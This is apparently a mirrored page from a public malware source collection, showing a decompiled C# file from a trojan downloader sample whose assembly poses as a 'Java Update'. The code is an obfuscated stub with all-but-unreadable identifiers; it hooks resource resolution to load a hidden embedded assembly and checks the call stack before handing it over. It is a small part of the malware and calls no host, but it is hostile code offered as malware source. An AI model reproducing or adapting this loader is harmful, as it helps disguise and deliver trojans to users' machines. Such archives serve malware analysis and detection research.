mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-19 16:48:52 +00:00
f2ac1ece55
add
69 lines
2.0 KiB
C#
69 lines
2.0 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Java Update, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 9303C6B7-A9B1-42D1-950C-FCE2C64C3FE0
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.Win32.Dapato.lnz-b8c384980c9f22185c34463ff696eecea0ea8f5afe9bfe8909d6e74753ffabcd.exe
|
||
|
||
using System;
|
||
using System.Diagnostics;
|
||
using System.Reflection;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0001
|
||
{
|
||
internal sealed class \u0001
|
||
{
|
||
private static Assembly \u0001 = (Assembly) null;
|
||
private static string[] \u0001 = new string[0];
|
||
|
||
internal static void \u0001()
|
||
{
|
||
try
|
||
{
|
||
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0001.\u0001.\u0001);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
}
|
||
}
|
||
|
||
private static Assembly \u0001([In] object obj0, [In] ResolveEventArgs obj1)
|
||
{
|
||
if ((object) \u0001.\u0001.\u0001 == null)
|
||
{
|
||
lock (\u0001.\u0001.\u0001)
|
||
{
|
||
\u0001.\u0001.\u0001 = Assembly.Load("{04d269eb-21f0-4313-8865-93f1c1e69e9b}, PublicKeyToken=3e56350693f7355e");
|
||
if ((object) \u0001.\u0001.\u0001 != null)
|
||
\u0001.\u0001.\u0001 = \u0001.\u0001.\u0001.GetManifestResourceNames();
|
||
}
|
||
}
|
||
string name = obj1.Name;
|
||
for (int index = 0; index < \u0001.\u0001.\u0001.Length; ++index)
|
||
{
|
||
if (\u0001.\u0001.\u0001[index] == name)
|
||
return !\u0001.\u0001.\u0001() ? (Assembly) null : \u0001.\u0001.\u0001;
|
||
}
|
||
return (Assembly) null;
|
||
}
|
||
|
||
private static bool \u0001()
|
||
{
|
||
try
|
||
{
|
||
StackFrame[] frames = new StackTrace().GetFrames();
|
||
for (int index = 2; index < frames.Length; ++index)
|
||
{
|
||
if ((object) frames[index].GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
catch
|
||
{
|
||
return true;
|
||
}
|
||
}
|
||
}
|
||
}
|